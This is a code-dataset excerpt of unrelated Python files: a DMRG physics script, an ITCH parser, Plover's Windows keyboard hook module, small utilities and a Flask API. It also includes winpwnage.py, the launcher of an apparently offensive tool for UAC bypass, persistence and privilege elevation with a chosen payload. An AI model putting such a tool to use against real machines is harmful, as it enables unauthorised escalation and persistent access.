False\niterCnt = 0\nE_prev = 0\nfor i in range(nops):\n E_prev += np.einsum('ijk,in,npq,rks,ru,uqv->',np.conj(M[0]),ops[i][0],M[0],np.conj(M[1]),ops[i][1],M[1])\nprint('Initial Energy = {}'.format(E_prev))\nwhile not converged:\n# Right Sweep ----------------------------\n # Optimization\n print('\\tSite 0')\n #H = np.einsum('ijk,in,npq,ru,stv->rkqusv',np.conj(M[0]),ops[i][0],M[0],ops[i][1],np.array([[[1]]]))\n for i in range(nops):\n if i == 0:\n tmp_arr = np.einsum('ijk,io,opq->kq',np.conj(M[0]),ops[i][0],M[0])\n H = np.einsum('ik,mn,op->mionkp',tmp_arr,ops[i][1],np.array([[1]]))\n else:\n tmp_arr = np.einsum('ijk,io,opq->kq',np.conj(M[0]),ops[i][0],M[0])\n H += np.einsum('ik,mn,op->mionkp',tmp_arr,ops[i][1],np.array([[1]]))\n H = np.reshape(H,(4,4))\n u,v = np.linalg.eig(H)\n # select max eigenvalue\n max_ind = np.argsort(u)[-1]\n E = u[max_ind]\n v = v[:,max_ind]\n print('\\t\\tCurrent Energy = {}'.format(E))\n M[1] = np.reshape(v,(2,2,1)) # Could this be wrong?!?!\n # Right Normalize\n M_reshape = np.swapaxes(M[1],0,1)\n M_reshape = np.reshape(M_reshape,(2,2))\n (U,s,V) = np.linalg.svd(M_reshape,full_matrices=True)\n M_reshape = np.reshape(V,(2,2,1))\n M[1] = np.swapaxes(M_reshape,0,1)\n M[0] = np.einsum('klj,ji,i->kli',M[0],U,s)\n# Left Sweep -----------------------------\n # Optimization\n print('\\tSite 1')\n for i in range(nops):\n if i == 0:\n tmp_arr = np.einsum('ijk,io,opq,kq->jp',np.conj(M[1]),ops[i][1],M[1],np.array([[1]]))\n H = np.einsum('ik,mn,op->mionkp',np.array([[1]]),ops[i][0],tmp_arr)\n else:\n tmp_arr = np.einsum('ijk,io,opq,kq->jp',np.conj(M[1]),ops[i][1],M[1],np.array([[1]]))\n H += np.einsum('ik,mn,op->mionkp',np.array([[1]]),ops[i][0],tmp_arr)\n H = np.reshape(H,(4,4))\n u,v = np.linalg.eig(H)\n # select max eigenvalue\n max_ind = np.argsort(u)[-1]\n E = u[max_ind]\n v = v[:,max_ind]\n print('\\t\\tCurrent Energy = {}'.format(E))\n M[0] = np.reshape(v,(2,1,2)) # Could this be wrong?!?!\n # Left Normalize\n M_reshape = np.reshape(M[0],(2,2))\n (U,s,V) = np.linalg.svd(M_reshape,full_matrices=True)\n M[0] = np.reshape(U,(2,1,2))\n M[1] = np.einsum('i,ij,kjl->kil',s,V,M[1])\n# Convergence Test -----------------------\n if np.abs(E-E_prev) < tol:\n print('#'*75+'\\nConverged at E = {}'.format(E)+'\\n'+'#'*75)\n converged = True\n elif iterCnt > maxIter:\n print('Convergence not acheived')\n converged = True\n else:\n iterCnt += 1\n E_prev = E\n##############################################\n","sub_path":"simple_scripts/sum_mpo_examples/two_site_model.py","file_name":"two_site_model.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"170478151","text":"import struct\n\ndef system_event_message(msg):\n msg_type = b\"S\";\n val = struct.unpack('!HH6sc',msg)\n val = list(val);\n return val;\n\ndef stock_directory_message(msg):\n msg_type = b'R';\n val = struct.unpack('!HH6s8sccIcc2scccccIc',msg);\n val = list(val);\n return val;\n\ndef stock_trading_action(msg):\n msg_type = b'H';\n val = struct.unpack('!HH6s8scc4s',msg);\n val = list(val);\n return val;\n\ndef short_sale_price_test(msg):\n msg_type = b'Y';\n val = struct.unpack('!HH6s8sc',msg);\n val = list(val);\n return val;\n\ndef market_participation_position(msg):\n msg_type = b'L';\n val = struct.unpack('!HH6s4s8sccc',msg);\n val = list(val);\n return val;\n\ndef mwcb_decline_level_message(msg):\n msg_type = b'V';\n val = struct.unpack('!HH6sQQQ',msg);\n val = list(val);\n val[3:] = map(float,val[3:]);\n val[3:] = map(lambda x:x/(pow(10,8)),val[3:]);\n return val;\n\ndef mwcb_status_message(msg):\n msg_type = b'W';\n val = struct.unpack('!HH6sc',msg);\n val = list(val);\n return val;\n\ndef ipo_quoting_period_update(msg):\n msg_type = b'K';\n val = struct.unpack('!HH6s8sIcL',msg);\n val = list(val);\n val[6] = float(val[6]);\n val[6] = val[6]/10000;\n return val;\n\ndef LULD_Auction_Collar(msg):\n msg_type = b'J';\n val = struct.unpack('!HH6s8sLLLI',msg);\n val = list(val);\n val[4:7] = map(float,val[4:7]);\n val[4:7] = map(lambda x:x/10000,val[4:7]);\n return val;\n\ndef Operational_Halt(msg):\n msg_type = b'h';\n val = struct.unpack('!HH6s8scc',msg);\n val = list(val);\n return val;\n\ndef add_order_message(msg):\n msg_type = b'A';\n val = struct.unpack('!HH6sQcI8sL',msg);\n val = list(val);\n val[7] = float(val[7]);\n val[7] = val[7]/10000;\n return val;\n\ndef add_order_with_mpid(msg):\n msg_type = b'F';\n val = struct.unpack('!HH6sQcI8sL4s',msg);\n val = list(val);\n val[7] = float(val[7]);\n val[7] = val[7]/10000; \n return val;\n\ndef order_executed_message(msg):\n msg_type = b'E';\n val = struct.unpack('!HH6sQIQ',msg);\n val = list(val);\n return val;\n\ndef order_executed_price_message(msg):\n msg_type = b'C';\n val = struct.unpack('!HH6sQIQcL',msg);\n val = list(val);\n val[7] = float(val[7]);\n val[7] = val[7]/10000; \n return val;\n\ndef order_cancel_message(msg):\n msg_type = b'X';\n val = struct.unpack('!HH6sQI',msg);\n val = list(val);\n return val;\n\ndef order_delete_message(msg):\n msg_type = b'D';\n val = struct.unpack('!HH6sQ',msg);\n val = list(val);\n return val;\n\ndef order_replace_message(msg):\n msg_type = b'U';\n val = struct.unpack('!HH6sQQIL',msg);\n val = list(val);\n val[6] = float(val[6]);\n val[6] = val[6]/10000;\n return val;\n\ndef trade_message(msg):\n msg_type = b'P';\n val = struct.unpack('!HH6sQcI8sLQ',msg);\n val = list(val);\n val[7] = float(val[7]);\n val[7] = val[7]/10000;\n return val;\n\ndef cross_trade_message(msg):\n msg_type = b'Q';\n val = struct.unpack('!HH6sQ8sLQc',msg);\n val = list(val);\n val[5] = float(val[5]);\n val[5] = val[5]/10000;\n return val;\n\ndef broken_trade_execution_message(msg):\n msg_type = b'B';\n val = struct.unpack('!HH6sQ',msg);\n val = list(val);\n return val;\n\ndef net_order_imbalance_message(msg):\n msg_type = b'I';\n val = struct.unpack('!HH6sQQc8sLLLcc',msg);\n val = list(val);\n val[7:10] = map(float,val[7:10]);\n val[7:10] = map(lambda x:x/10000,val[7:10]);\n return val;\n","sub_path":"itch-factory.py","file_name":"itch-factory.py","file_ext":"py","file_size_in_byte":3483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"314934483","text":"from __future__ import print_function\r\nfrom winpwnage.core.prints import print_info\r\nfrom winpwnage.core.scanner import scanner, function\r\nfrom winpwnage.core.utils import *\r\nimport argparse\r\nimport sys\r\n\r\nprint(\"\"\"\r\n _\r\n _ _ _|_|___ ___ _ _ _ ___ ___ ___ ___\r\n | | | | | | . | | | | | .'| . | -_|\r\n |_____|_|_|_| _|_____|_|_|__,|_ |___|\r\n |_| |___|\r\n\"\"\")\r\n\r\nprint_info(\"UAC level: {}\".format(information().uac_level()))\r\nprint_info(\"Build number: {}\".format(information().build_number()))\r\nprint_info(\"Running elevated: {}\".format(information().admin()))\r\nprint_info(\"Python version: {}.{}.{}\\n\".format(*sys.version_info))\r\n\r\n\r\ndef main():\r\n\tscan_cmds = [\"uac\",\r\n\t\t \"persist\",\r\n\t\t\t\"elevate\",\r\n\t\t\t\"execute\"]\r\n\r\n\tparser = argparse.ArgumentParser()\r\n\tparser.add_argument(\"-s\", \"--scan\", nargs=\"+\", required=False)\r\n\tparser.add_argument(\"-u\", \"--use\", nargs=\"+\", required=False)\r\n\tparser.add_argument(\"-i\", \"--id\", nargs=\"+\", required=False)\r\n\tparser.add_argument(\"-p\", \"--payload\", nargs=\"+\", required=False)\r\n\tparser.add_argument(\"-a\", \"--add\", action=\"store_true\", required=False)\r\n\tparser.add_argument(\"-r\", \"--remove\", action=\"store_true\", required=False)\r\n\r\n\targs = parser.parse_args()\r\n\r\n\tif args.scan:\r\n\t\tif scan_cmds[0] in args.scan:\r\n\t\t\tscanner(uac=True, persist=False, elevate=False, execute=False).start()\r\n\t\telif scan_cmds[1] in args.scan:\r\n\t\t\tscanner(uac=False, persist=True, elevate=False, execute=False).start()\r\n\t\telif scan_cmds[2] in args.scan:\r\n\t\t\tscanner(uac=False, persist=False, elevate=True, execute=False).start()\r\n\t\telif scan_cmds[3] in args.scan:\r\n\t\t\tscanner(uac=False, persist=False, elevate=False, execute=True).start()\r\n\t\telse:\r\n\t\t\tparser.print_help()\r\n\r\n\tif args.use:\r\n\t\tif scan_cmds[0] in args.use:\r\n\t\t\tif args.id:\r\n\t\t\t\tif args.payload:\r\n\t\t\t\t\tfunction(uac=True, persist=False, elevate=False,\r\n\t\t\t\t\t\texecute=False).run(id=args.id[0], payload=args.payload[0])\r\n\t\telif scan_cmds[1] in args.use:\t\t\r\n\t\t\tif args.add:\r\n\t\t\t\tfunction(uac=False, persist=True, elevate=False,\r\n\t\t\t\t\t\texecute=False).run(id=args.id[0], payload=args.payload[0], add=True)\t\t\t\t\t\t\t\r\n\t\t\telif args.remove:\r\n\t\t\t\tfunction(uac=False, persist=True, elevate=False,\r\n\t\t\t\t\t\texecute=False).run(id=args.id[0], payload=args.payload[0], add=False)\r\n\t\telif scan_cmds[2] in args.use:\r\n\t\t\tif args.id:\r\n\t\t\t\tif args.payload:\r\n\t\t\t\t\tfunction(uac=False, persist=False, elevate=True,\r\n\t\t\t\t\t\texecute=False).run(id=args.id[0], payload=args.payload[0])\r\n\t\telif scan_cmds[3] in args.use:\r\n\t\t\tif args.id:\r\n\t\t\t\tif args.payload:\r\n\t\t\t\t\tfunction(uac=False, persist=False, elevate=False,\r\n\t\t\t\t\t\texecute=True).run(id=args.id[0], payload=args.payload[0])\r\n\t\telse:\r\n\t\t\tparser.print_help()\r\n\r\nif __name__ == '__main__':\r\n\tmain()\r\n","sub_path":"winpwnage.py","file_name":"winpwnage.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"441144529","text":"# Copyright (c) 2011 Hesky Fisher.\n# See LICENSE.txt for details.\n#\n# winkeyboardcontrol.py - capturing and injecting keyboard events in windows.\n\n\"\"\"Keyboard capture and control in windows.\n\nThis module provides an interface for basic keyboard event capture and\nemulation. Set the key_up and key_down functions of the\nKeyboardCapture class to capture keyboard input. Call the send_string\nand send_backspaces functions of the KeyboardEmulation class to\nemulate keyboard input.\n\n\"\"\"\n\nimport ctypes\nimport multiprocessing\nimport os\nimport threading\n\nfrom ctypes import windll, wintypes\n\n# Python 2/3 compatibility.\nfrom six.moves import winreg\n\nfrom plover.key_combo import parse_key_combo\nfrom plover.oslayer.winkeyboardlayout import KeyboardLayout\nfrom plover import log\nfrom plover.misc import characters\n\nSendInput = windll.user32.SendInput\nLONG = ctypes.c_long\nDWORD = ctypes.c_ulong\nULONG_PTR = ctypes.POINTER(DWORD)\nWORD = ctypes.c_ushort\nKEYEVENTF_EXTENDEDKEY = 0x0001\nKEYEVENTF_KEYUP = 0x0002\nKEYEVENTF_SCANCODE = 0x0008\nKEYEVENTF_UNICODE = 0x0004\nINPUT_MOUSE = 0\nINPUT_KEYBOARD = 1\n\n\n# For the purposes of this class, we'll only report key presses that\n# result in these outputs in order to exclude special key combos.\nSCANCODE_TO_KEY = {\n 59: 'F1', 60: 'F2', 61: 'F3', 62: 'F4', 63: 'F5', 64: 'F6',\n 65: 'F7', 66: 'F8', 67: 'F9', 68: 'F10', 87: 'F11', 88: 'F12',\n 41: '`', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', \n 9: '8', 10: '9', 11: '0', 12: '-', 13: '=', 16: 'q', \n 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i',\n 24: 'o', 25: 'p', 26: '[', 27: ']', 43: '\\\\',\n 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j',\n 37: 'k', 38: 'l', 39: ';', 40: '\\'', 44: 'z', 45: 'x',\n 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',', \n 52: '.', 53: '/', 57: 'space', 58: \"BackSpace\", 83: \"Delete\",\n 80: \"Down\", 79: \"End\", 1: \"Escape\", 71: \"Home\", 82: \"Insert\",\n 75: \"Left\", 73: \"Page_Down\", 81: \"Page_Up\", 28 : \"Return\",\n 77: \"Right\", 15: \"Tab\", 72: \"Up\",\n}\n\nKEY_TO_SCANCODE = {v: k for k, v in SCANCODE_TO_KEY.items()}\n\n# Keys that need an extended key flag for Windows input\nEXTENDED_KEYS = {\n # Control Alt INS DEL HOME END PG UP PG DN Arrows\n 0xA2, 0xA3, 0xA4, 0xA5, 0x2D, 0x2E, 0x21, 0x22, 0x24, 0x23, 0x25, 0x26,\n # Arrow NmLk Break PtSc Divide\n 0x27, 0x28, 0x90, 0x03, 0x2C, 0x6F\n}\n\n\"\"\"\nSendInput code and classes based off of code\nfrom user \"inControl\" on StackOverflow:\nhttp://stackoverflow.com/questions/11906925/python-simulate-keydown\n\"\"\"\n\nclass MOUSEINPUT(ctypes.Structure):\n _fields_ = (('dx', LONG),\n ('dy', LONG),\n ('mouseData', DWORD),\n ('dwFlags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR))\n\n\nclass KEYBDINPUT(ctypes.Structure):\n _fields_ = (('wVk', WORD),\n ('wScan', WORD),\n ('dwFlags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR))\n\n\nclass _INPUTunion(ctypes.Union):\n _fields_ = (('mi', MOUSEINPUT),\n ('ki', KEYBDINPUT))\n\n\nclass INPUT(ctypes.Structure):\n _fields_ = (('type', DWORD),\n ('union', _INPUTunion))\n\n\ndef pid_exists(pid):\n \"\"\"Check whether pid exists in the current process table.\"\"\"\n # Code based on psutil implementation.\n kernel32 = ctypes.windll.kernel32\n\n PROCESS_QUERY_INFORMATION = 0x0400\n PROCESS_VM_READ = 0x0010\n ERROR_INVALID_PARAMETER = 87\n ERROR_ACCESS_DENIED = 5\n STILL_ACTIVE = 0x00000103\n\n process = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, pid)\n if not process:\n err = kernel32.GetLastError()\n if err == ERROR_INVALID_PARAMETER:\n # Invalid parameter is no such process.\n return False\n if err == ERROR_ACCESS_DENIED:\n # Access denied obviously means there's a process to deny access to...\n return True\n raise WindowsError(err, '')\n\n try:\n exitcode = DWORD()\n out = kernel32.GetExitCodeProcess(process, ctypes.byref(exitcode))\n if not out:\n err = kernel32.GetLastError()\n if err == ERROR_ACCESS_DENIED:\n # Access denied means there's a process\n # there so we'll assume it's running.\n return True\n raise WindowsError(err, '')\n\n return exitcode.value == STILL_ACTIVE\n\n finally:\n kernel32.CloseHandle(process)\n\n\nclass HeartBeat(threading.Thread):\n\n def __init__(self, ppid, atexit):\n super(HeartBeat, self).__init__()\n self._ppid = ppid\n self._atexit = atexit\n self._finished = threading.Event()\n\n def run(self):\n while pid_exists(self._ppid):\n if self._finished.wait(1):\n break\n self._atexit()\n\n def stop(self):\n self._finished.set()\n self.join()\n\n\nclass KeyboardCaptureProcess(multiprocessing.Process):\n\n CONTROL_KEYS = set((0xA2, 0xA3))\n SHIFT_KEYS = set((0xA0, 0xA1))\n ALT_KEYS = set((0xA4, 0xA5))\n WIN_KEYS = set((0x5B, 0x5C))\n PASSTHROUGH_KEYS = CONTROL_KEYS | SHIFT_KEYS | ALT_KEYS | WIN_KEYS\n\n def __init__(self):\n super(KeyboardCaptureProcess, self).__init__()\n self.daemon = True\n self._ppid = os.getpid()\n self._update_registry()\n self._tid = None\n self._queue = multiprocessing.Queue()\n self._suppressed_keys_bitmask = multiprocessing.Array(ctypes.c_uint64, (max(SCANCODE_TO_KEY.keys()) + 63) // 64)\n self._suppressed_keys_bitmask[:] = (0xffffffffffffffff,) * len(self._suppressed_keys_bitmask)\n\n @staticmethod\n def _update_registry():\n # From MSDN documentation:\n #\n # The hook procedure should process a message in less time than the\n # data entry specified in the LowLevelHooksTimeout value in the\n # following registry key:\n #\n # HKEY_CURRENT_USER\\Control Panel\\Desktop\n #\n # The value is in milliseconds. If the hook procedure times out, the\n # system passes the message to the next hook. However, on Windows 7 and\n # later, the hook is silently removed without being called. There is no\n # way for the application to know whether the hook is removed.\n\n\n def _open_key(rights):\n return winreg.OpenKey(winreg.HKEY_CURRENT_USER,\n r'Control Panel\\Desktop',\n 0, rights)\n\n REG_LLHOOK_KEY_FULL_NAME = r'HKEY_CURRENT_USER\\Control Panel\\Desktop\\LowLevelHooksTimeout'\n REG_LLHOOK_KEY_VALUE_NAME = 'LowLevelHooksTimeout'\n REG_LLHOOK_KEY_VALUE_TYPE = winreg.REG_DWORD\n REG_LLHOOK_KEY_VALUE = 5000\n\n read_key = _open_key(winreg.KEY_READ)\n try:\n value, value_type = winreg.QueryValueEx(read_key, REG_LLHOOK_KEY_VALUE_NAME)\n except WindowsError:\n value, value_type = (None, None)\n\n if value_type != REG_LLHOOK_KEY_VALUE_TYPE or value != REG_LLHOOK_KEY_VALUE:\n try:\n write_key = _open_key(winreg.KEY_WRITE)\n winreg.SetValueEx(write_key, REG_LLHOOK_KEY_VALUE_NAME, 0,\n REG_LLHOOK_KEY_VALUE_TYPE, REG_LLHOOK_KEY_VALUE)\n except WindowsError:\n log.warning('could not update registry key: %s, see documentation',\n REG_LLHOOK_KEY_FULL_NAME)\n else:\n log.warning('the following registry key has been updated, '\n 'you should reboot: %s', REG_LLHOOK_KEY_FULL_NAME)\n\n def run(self):\n\n heartbeat = HeartBeat(self._ppid, self._send_quit)\n heartbeat.start()\n\n import atexit\n import signal\n\n class KBDLLHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n (\"vkCode\", wintypes.DWORD),\n (\"scanCode\", wintypes.DWORD),\n (\"flags\", wintypes.DWORD),\n (\"time\", wintypes.DWORD),\n (\"dwExtraInfo\", ctypes.c_void_p),\n ]\n\n KeyboardProc = ctypes.CFUNCTYPE(ctypes.c_int,\n ctypes.c_int,\n wintypes.WPARAM,\n ctypes.POINTER(KBDLLHOOKSTRUCT))\n\n # Ignore KeyboardInterrupt when attached to a console...\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n\n self._tid = windll.kernel32.GetCurrentThreadId()\n self._queue.put(self._tid)\n\n down_keys = set()\n passthrough_down_keys = set()\n\n def on_key(pressed, event):\n if (event.flags & 0x10):\n # Ignore simulated events (e.g. from KeyboardEmulation).\n return False\n if event.vkCode in self.PASSTHROUGH_KEYS:\n if pressed:\n passthrough_down_keys.add(event.vkCode)\n else:\n passthrough_down_keys.discard(event.vkCode)\n key = SCANCODE_TO_KEY.get(event.scanCode)\n if key is None:\n # Unhandled, ignore and don't suppress.\n return False\n suppressed = bool(self._suppressed_keys_bitmask[event.scanCode // 64] & (1 << (event.scanCode % 64)))\n if pressed:\n if passthrough_down_keys:\n # Modifier(s) pressed, ignore.\n return False\n down_keys.add(key)\n else:\n down_keys.discard(key)\n self._queue.put((key, pressed))\n return suppressed\n\n hook_id = None\n\n def low_level_handler(code, wparam, lparam):\n if code >= 0:\n pressed = wparam in (0x100, 0x104)\n if on_key(pressed, lparam[0]):\n # Suppressed...\n return 1\n return windll.user32.CallNextHookEx(hook_id, code, wparam, lparam)\n\n pointer = KeyboardProc(low_level_handler)\n hook_id = windll.user32.SetWindowsHookExA(0x00D, pointer, windll.kernel32.GetModuleHandleW(None), 0)\n atexit.register(windll.user32.UnhookWindowsHookEx, hook_id)\n msg = wintypes.MSG()\n while windll.user32.GetMessageW(ctypes.byref(msg), 0, 0, 0):\n windll.user32.TranslateMessage(ctypes.byref(msg))\n windll.user32.DispatchMessageW(ctypes.byref(msg))\n\n heartbeat.stop()\n\n def _send_quit(self):\n windll.user32.PostThreadMessageW(self._tid,\n 0x0012, # WM_QUIT\n 0, 0)\n\n def start(self):\n self.daemon = True\n super(KeyboardCaptureProcess, self).start()\n self._tid = self._queue.get()\n\n def stop(self):\n if self.is_alive():\n self._send_quit()\n self.join()\n # Wake up capture thread, so it gets a chance to check if it must stop.\n self._queue.put((None, None))\n\n def suppress_keyboard(self, suppressed_keys):\n bitmask = [0] * len(self._suppressed_keys_bitmask)\n for key in suppressed_keys:\n code = KEY_TO_SCANCODE[key]\n bitmask[code // 64] |= (1 << (code % 64))\n self._suppressed_keys_bitmask[:] = bitmask\n\n def get(self):\n return self._queue.get()\n\n\nclass KeyboardCapture(threading.Thread):\n \"\"\"Listen to all keyboard events.\"\"\"\n\n def __init__(self):\n super(KeyboardCapture, self).__init__()\n self._suppressed_keys = set()\n self.key_down = lambda key: None\n self.key_up = lambda key: None\n self._proc = KeyboardCaptureProcess()\n self._finished = threading.Event()\n\n def start(self):\n self._proc.start()\n self._proc.suppress_keyboard(self._suppressed_keys)\n super(KeyboardCapture, self).start()\n\n def run(self):\n while True:\n key, pressed = self._proc.get()\n if self._finished.isSet():\n break\n (self.key_down if pressed else self.key_up)(key)\n\n def cancel(self):\n self._finished.set()\n self._proc.stop()\n if self.is_alive():\n self.join()\n\n def suppress_keyboard(self, suppressed_keys=()):\n self._suppressed_keys = set(suppressed_keys)\n self._proc.suppress_keyboard(self._suppressed_keys)\n\n\nclass KeyboardEmulation(object):\n\n def __init__(self):\n self.keyboard_layout = KeyboardLayout()\n\n # Sends input types to buffer\n @staticmethod\n def _send_input(*inputs):\n len_inputs = len(inputs)\n len_pinput = INPUT * len_inputs\n pinputs = len_pinput(*inputs)\n c_size = ctypes.c_int(ctypes.sizeof(INPUT))\n return SendInput(len_inputs, pinputs, c_size)\n\n # Input type (can be mouse, keyboard)\n @staticmethod\n def _input(structure):\n if isinstance(structure, MOUSEINPUT):\n return INPUT(INPUT_MOUSE, _INPUTunion(mi=structure))\n if isinstance(structure, KEYBDINPUT):\n return INPUT(INPUT_KEYBOARD, _INPUTunion(ki=structure))\n raise TypeError('Cannot create INPUT structure!')\n\n # Container to send mouse input\n # Not used, but maybe one day it will be useful\n @staticmethod\n def _mouse_input(flags, x, y, data):\n return MOUSEINPUT(x, y, data, flags, 0, None)\n\n # Keyboard input type to send key input\n @staticmethod\n def _keyboard_input(code, flags):\n if flags == KEYEVENTF_UNICODE:\n # special handling of Unicode characters\n return KEYBDINPUT(0, code, flags, 0, None)\n return KEYBDINPUT(code, 0, flags, 0, None)\n\n # Abstraction to set flags to 0 and create an input type\n def _keyboard(self, code, flags=0):\n return self._input(self._keyboard_input(code, flags))\n\n def _key_event(self, keycode, pressed):\n flags = 0 if pressed else KEYEVENTF_KEYUP\n if keycode in EXTENDED_KEYS:\n flags |= KEYEVENTF_EXTENDEDKEY\n self._send_input(self._keyboard(keycode, flags))\n\n # Press and release a key\n def _key_press(self, char):\n vk, ss = self.keyboard_layout.char_to_vk_ss[char]\n keycode_list = []\n keycode_list.extend(self.keyboard_layout.ss_to_vks[ss])\n keycode_list.append(vk)\n # Press all keys.\n for keycode in keycode_list:\n self._key_event(keycode, True)\n # Release all keys\n for keycode in keycode_list:\n self._key_event(keycode, False)\n\n def _refresh_keyboard_layout(self):\n layout_id = KeyboardLayout.current_layout_id()\n if layout_id != self.keyboard_layout.layout_id:\n self.keyboard_layout = KeyboardLayout(layout_id)\n\n def _key_unicode(self, char):\n inputs = [self._keyboard(ord(code), KEYEVENTF_UNICODE)\n for code in char]\n self._send_input(*inputs)\n\n def send_backspaces(self, number_of_backspaces):\n for _ in range(number_of_backspaces):\n self._key_press('\\x08')\n\n def send_string(self, s):\n self._refresh_keyboard_layout()\n for char in characters(s):\n if char in self.keyboard_layout.char_to_vk_ss:\n # We know how to simulate the character.\n self._key_press(char)\n else:\n # Otherwise, we send it as a Unicode string.\n self._key_unicode(char)\n\n def send_key_combination(self, combo_string):\n \"\"\"Emulate a sequence of key combinations.\n Argument:\n combo_string -- A string representing a sequence of key\n combinations. Keys are represented by their names in the\n self.keyboard_layout.keyname_to_keycode above. For example, the\n left Alt key is represented by 'Alt_L'. Keys are either\n separated by a space or a left or right parenthesis.\n Parentheses must be properly formed in pairs and may be\n nested. A key immediately followed by a parenthetical\n indicates that the key is pressed down while all keys enclosed\n in the parenthetical are pressed and released in turn. For\n example, Alt_L(Tab) means to hold the left Alt key down, press\n and release the Tab key, and then release the left Alt key.\n \"\"\"\n # Make sure keyboard layout is up-to-date.\n self._refresh_keyboard_layout()\n # Parse and validate combo.\n key_events = parse_key_combo(combo_string, self.keyboard_layout.keyname_to_vk.get)\n # Send events...\n for keycode, pressed in key_events:\n self._key_event(keycode, pressed)\n","sub_path":"morse_echo/env/lib/python3.9/site-packages/plover/oslayer/winkeyboardcontrol.py","file_name":"winkeyboardcontrol.py","file_ext":"py","file_size_in_byte":16600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"444444958","text":"# 2021-03-25, lucas.mayer.almeida@ccc.ufcg.edu.br\n# Mostra os números divisiveis por outros 2 dentro de um intervalo\n\nnum1 = int(input())\nnum2 = int(input())\ndivisor = int(input())\n\n\nfor n in range(1, divisor+1) :\n if n % num1 == 0 and n % num2 == 0 :\n print(n)\n","sub_path":"atividades/inteiros_positivos_divisiveis/questao.py","file_name":"questao.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"388120290","text":"\"\"\"various distance calculations\"\"\"\nimport logging\nfrom HelperFunctions import HelperFunctions\nfrom DistanceCalc import DistanceCalc\nimport re\nimport pandas\n\n\nclass GetNearest:\n ############################################################\n # constructor\n ############################################################\n def __init__(self, top_n, bln_travel_times, api_key):\n self.name = \"Get Nearest\"\n self.top_n = top_n\n self.LOGGER = logging.getLogger(__name__)\n self.helper_f = HelperFunctions()\n self.dist_calc = DistanceCalc(api_key=api_key)\n self.bln_travel_times = bln_travel_times\n self.api_key = api_key\n\n ############################################################\n # str\n ############################################################\n def __str__(self):\n return repr(\"Get Nearest\")\n\n ############################################################\n # Read firestations into a data frame, take a vector point passed\n # and return an ordered list from nearest ASC distance\n ############################################################\n def create_nearest_list(self, base_point, firestations_df):\n \"\"\"Create ordered list of\n\n Keyword arguments:\n base_point -- base point (lat_value, lon_value)\n firestations_df -- data frame of firestation data\n \"\"\"\n\n distance_list = []\n\n for index, row in firestations_df.iterrows():\n lat = row['lat']\n lon = row['lon']\n point = (lat, lon)\n\n \"\"\"Get as the crow files haversine distance\"\"\"\n dist = self.dist_calc.get_haversine_dist(base_point, point)\n\n distance_list.append(dist)\n\n df_fs_dist = firestations_df\n df_fs_dist['distance'] = distance_list\n\n \"\"\"sort by distance ascending\"\"\"\n df_fs_dist.sort_values(by=['distance'], inplace=True)\n\n \"\"\"Get top n\"\"\"\n df_fs_dist_ret = df_fs_dist[:int(self.top_n)]\n\n lst_json = []\n lc = 0\n\n for ix, rw in df_fs_dist_ret.iterrows():\n\n lst_travel = []\n\n a_json_str = df_fs_dist_ret.iloc[lc].to_json()\n a_a = re.sub(r\"(?i)(?:\\\\u00[0-9a-f]{2})+\", self.helper_f.untangle_utf8, a_json_str)\n\n lst_travel.append(a_a)\n lat = rw['lat']\n lon = rw['lon']\n point = (lat, lon)\n\n \"\"\"Get travel time if required\"\"\"\n if self.bln_travel_times:\n lst_travel_times = self.dist_calc.get_travel_times(base_point, point)\n lst_travel.append(lst_travel_times)\n\n lst_json.append(lst_travel)\n lc += 1\n\n return lst_json\n","sub_path":"GetNearest.py","file_name":"GetNearest.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"564596859","text":"from flask import Flask\nfrom flask import jsonify,request\nfrom LR import Model\nclf = Model()\n\napp = Flask(__name__)\n\n@app.route(\"/read\")\ndef read():\n\tclf.read_df(\"C:\\\\Users\\\\DELL\\\\Desktop\\\\Social_Network_Ads.csv\")\n\treturn clf.dataset.head().to_json()\n\n@app.route(\"/split\")\ndef split():\n\tclf.split_df()\n\treturn \"Data split Done!\"\n\n@app.route(\"/scale\")\ndef scale():\n\tclf.scaling()\n\treturn \"scaling Done!\"\n\n@app.route(\"/train_test\")\ndef train_test():\n\tclf.train_test(0.25)\n\treturn \"train_test Done!\"\n\n@app.route(\"/train\")\ndef train():\n\tclf.train()\n\treturn \"Training done!\"\n\n@app.route(\"/evaluate\")\ndef evaluate():\n\tscore = clf.evaluate()\n\tresp = {\"score\":score}\n\treturn jsonify(resp)\n\n@app.route(\"/predict\",methods=[\"GET\"])\ndef predict():\n\tage = request.args.get('age')\n\tsalary = request.args.get('salary')\n\ty_pred = clf.predict([age,salary])\n\tresp = {\"class\":int(y_pred[0])}\n\treturn jsonify(resp)\n\n\nif __name__ == '__main__':\n\ttry:\n\t\tapp.run(port='9090',host='0.0.0.0')\n\texcept Exception as e:\n\t\tprint(\"Error\")","sub_path":"app2.py","file_name":"app2.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"372012431","text":"import cv2 as cv\nimport numpy as np\n\ndef sketch_image(frame):\n\timg_gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n\timg_gray_blur = cv.GaussianBlur(img_gray, (5,5), 0)\n\tcanny_edges = cv.Canny(img_gray_blur, 10, 